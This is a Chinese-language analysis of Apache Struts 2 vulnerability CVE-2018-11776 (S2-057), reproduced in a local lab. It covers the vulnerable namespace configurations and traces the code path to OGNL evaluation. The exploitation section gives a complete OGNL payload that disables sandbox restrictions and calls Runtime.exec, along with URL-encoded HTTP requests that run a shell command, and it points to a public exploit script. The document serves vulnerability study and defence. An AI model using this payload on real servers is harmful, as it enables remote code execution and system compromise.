Apache Struts 2是一个基于MVC模式的Web应用框架,本质上相当于一个servlet。在MVC设计模式中,Struts 2作为控制器建立模型和视图的数据交互。
0x00 漏洞概述
编号为CVE-2018-11776。
官方对该漏洞的描述为:
- 定义XML配置时,如果
namespace
值未设置,且上层动作配置(Action Configuration)中未设置或使用通配符namespace
时可能导致远程代码执行。- url标签未设置
value
和action
值,且上层动作配置(Action Configuration)中未设置或使用通配符namespace
时可能导致远程代码执行。- alwaysSelectFullNamespace需要被设为true,才能利用漏洞。
namespace
用于在逻辑上将action
区分为不同模块,这可以有效避免action
重名的情况。默认的namespace
为空,当所有的namespace
中都找不到结果时,就会到此处的namespace
寻找。
受影响版本:Struts 2.0.4-2.3.34、Struts 2.5.0-2.5.16,其它不受支持的Struts版本也可能受影响。
0x01 漏洞源码
用如下几步找到心仪的版本:
git clone https://github.com/apache/Struts.git
cd Struts
git checkout STRUTS_2_5_10
切换成功会得到相应提示。
取出apps/showcase整个文件夹,作为新建项目(个人选择使用了IntelliJ IDEA):
配置文件
在showcase/src/main/resources/struts.xml中,如果没有为基础xml配置中定义的result
设置namespace
,且上层的<action>
标签没有设置namespace
或者使用通配符namespace
,就可能导致RCE。
各个result
类型中,只有三种:
redirectAction
chain
postback
下面具有namespace
参数。
示例:
<struts>
<package name="skill" extends="default" namespace=???><!--这里没写namespace-->
<action name="foo">
<result type="redirectAction">
<param name="actionName">foo.action</param>
</result>
</action>
</package>
</struts>
URL标签
除却上述情况,如果struts的url标签<s:url>
未设置value
和action
,且关联的<action>
标签未设置或使用通配符namepace
,也可能导致RCE。
在src/main/webapp/WEB-INF/empmanager/listEmployees.jsp中可以看到url配置。
示例:
<s:url action="/hello/hello_struts2" var="hello" >
<s:param name="messageStore.message">Struts2 Tags</s:param>
</s:url>
<a href="${hello}">你好Struts2 Tag</a>
ActionMapper(接口)
查看这个.class时使用了JetBrains内嵌的反编译工具。
struts 2使用org.apache.struts2.dispatcher.FilterDispatcher作为核心控制,负责拦截所有请求。此后FilterDispatcher调用ActionMapper接口来判断需要调用哪个Action。
struts 2默认使用DefaultActionMapper这个实现类中的getMapping方法解析请求以判断需要调用哪个Action。
此处向下是几个在类内使用的方法,如parseNameAndNamespace。
图中this.alwaysSelectFullNamespace
为true
时,会严格按照uri提供的namespace
寻找action
,此时就可以任意构造namespace
。
不幸的是this.alwaysSelectFullNamespace
的缺省值为false
,所以利用条件还是相当苛刻的。
先假设一个URI,URL形式是:
[靶机IP+端口]/项目名称/path_0/path_1/addUser.action
执行步骤是:
- 寻找
namespace
为/path_0/path_1
的package。若找到了package,在其中寻找名为addUser
的action
,若找到则正常执行,若没有找到则转步骤4;另外,若没有找到package,则转步骤2。 - 寻找
namespace
为/path_0
的package,若存在则在这个package中寻找addUser
,若找到则执行,否则转步骤4;若没有找到这个package则转步骤3。 - 寻找
namespace
为/
的package,若存在这个package则在其中寻找addUser
,若找到则执行,否则转步骤4;若没有找到则也转到步骤4。 - 若存在缺省的命名空间
namespace
,则在这个package下寻找addUser
,若找到则执行;若没有找到则页面提示找不到action
;不存在缺省的命名空间也会提示找不到action
。
前文提到的利用条件
如果
namespace
值未设置,且上层动作配置(Action Configuration)中未设置或使用通配符namespace
时可能导致远程代码执行。
在这里得到了解释。
这种情况下,构造任意命名空间请求不会出错。
redirectAction(返回类型)
接收Payload的条件已经达成了,还需要执行Payload的条件。之前提到,涉及命名空间namespace
的result
只有三种,以redirectAction
为例看看源码(另外两种也有问题)。
redirectAction
对应的类为org.apache.struts2.result.ServletActionRedirectResult。
在所请求的Action执行完后,会使用ServletActionRedirectResult.execute进行重定向Result的解析,通过actionMapper.getUriFromActionMapping重组URI,通过setLocation将带有namespace
的tmpLocation放入父类org.apache.struts2.result.ServletRedirectResult中调用execute方法,然后在父类ServletRedirectResult中又会调用其父类org.apache.struts2.result.StrutsResultSupport的execute方法。
最后是在StrutsResultSupport中的conditionalParse中,调用TextParseUtil.translateVariables,并最终通过OgnlTextParser.evaluate解析执行URL中的OGNL表达式。
// .m2\repository\org\apache\struts\struts2-core\2.5.10\struts2-core-2.5.10.jar!\org\apache\struts2\result\StrutsResultSupport.class
protected String conditionalParse(String param, ActionInvocation invocation) {
return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
}
// .m2\repository\org\apache\struts\struts2-core\2.5.10\struts2-core-2.5.10.jar!\com\opensymphony\xwork2\util\TextParseUtil.class
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
TextParseUtil.ParsedValueEvaluator ognlEval = new TextParseUtil.ParsedValueEvaluator() {
public Object evaluate(String parsedValue) {
Object o = stack.findValue(parsedValue, asType);
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}
return o;
}
};
TextParser parser = (TextParser)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(TextParser.class);
return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
}
0x02 利用流程
访问靶机
可见测试界面。
先行测试
测试命名空间可执行性,发现运算被执行了:
GET /struts2-showcase/$%7B123*321%7D/actionChain1.action HTTP/1.1
Host: 127.0.0.1:14817
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=49C735076502124458949395EE5C2007
Connection: close
传Payload
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('填写命令')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
由于系统的解析特性,传入时必须全部进行URL编码(填写的命令若含有空格,也需要转义为%0a
)。
GET /struts2-showcase/$%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls%0a/tmp')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
Host: 127.0.0.1:14817
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=49C735076502124458949395EE5C2007
Connection: close
利用成功!
0x03 废话
虽然利用成功造成的影响非常恶劣,但利用条件也是比较苛刻的。
另推荐大佬的EXP:Ivan1ee/struts2-057-exp: s2-057 最新漏洞分析和EXP脚本 (github.com)